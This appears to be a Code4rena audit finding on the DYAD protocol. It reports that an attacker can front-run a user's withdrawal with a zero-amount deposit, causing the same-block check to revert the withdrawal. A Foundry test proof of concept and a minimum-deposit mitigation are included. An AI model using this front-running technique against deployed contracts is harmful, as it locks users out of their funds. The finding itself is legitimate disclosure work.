DYAD - DMoore's results

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L119-L131 https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L134-L153

Vulnerability details

Impact

VaultManagerV2.withdraw will revert on same block deposit and withdraw operations, using idToBlockOfLastDeposit[id] == block.number check. However, attacker can frontrun any user's withdraw call with a zero amount of deposit to the same dNFT and vault, and set idToBlockOfLastDeposit[id] to the same block with user's withdraw call, which will lead to user's withdraw call always fail. To summary up, attacker can disable the core function VaultManagerV2.withdraw with only GAS fee.

Proof of Concept

Attacker can front run withdraw call with zero amount deposit call to revert it, see below test code.

  function test_zero() public {
    address attacker = address(0xABC);
    address alice = address(0x123);

    uint id = dNft.mintNft{value: 1 ether}(alice);
    vm.startPrank(alice);
    vaultManager.add(id, address(wethVault));
    uint alice_amt = 1e18;
    weth.mint(alice, alice_amt);

    vm.roll(1000);
    weth.approve(address(vaultManager), alice_amt);
    vaultManager.deposit(id, address(wethVault), alice_amt);
    assertEq(1000, vaultManager.idToBlockOfLastDeposit(id));
    vm.stopPrank();

    vm.roll(2000);
    // @audit: attacker listen to mempool and found out that alice is trying to withdraw
    vm.startPrank(attacker);
    uint zero_amt = 0;
    // @audit: attacker trigger a zero amount deposit
    vaultManager.deposit(id, address(wethVault), zero_amt);
    assertEq(2000, vaultManager.idToBlockOfLastDeposit(id));
    vm.stopPrank();
    vm.startPrank(alice);
    // @audit: alice failed to withdraw
    vm.expectRevert(IVaultManager.DepositedInSameBlock.selector);
    vaultManager.withdraw(id, address(wethVault), alice_amt, alice);
    vm.stopPrank();
  }

Tools Used

Manual Review and Foundry

Recommended Mitigation Steps

Add minimal deposit amount check

Assessed type

DoS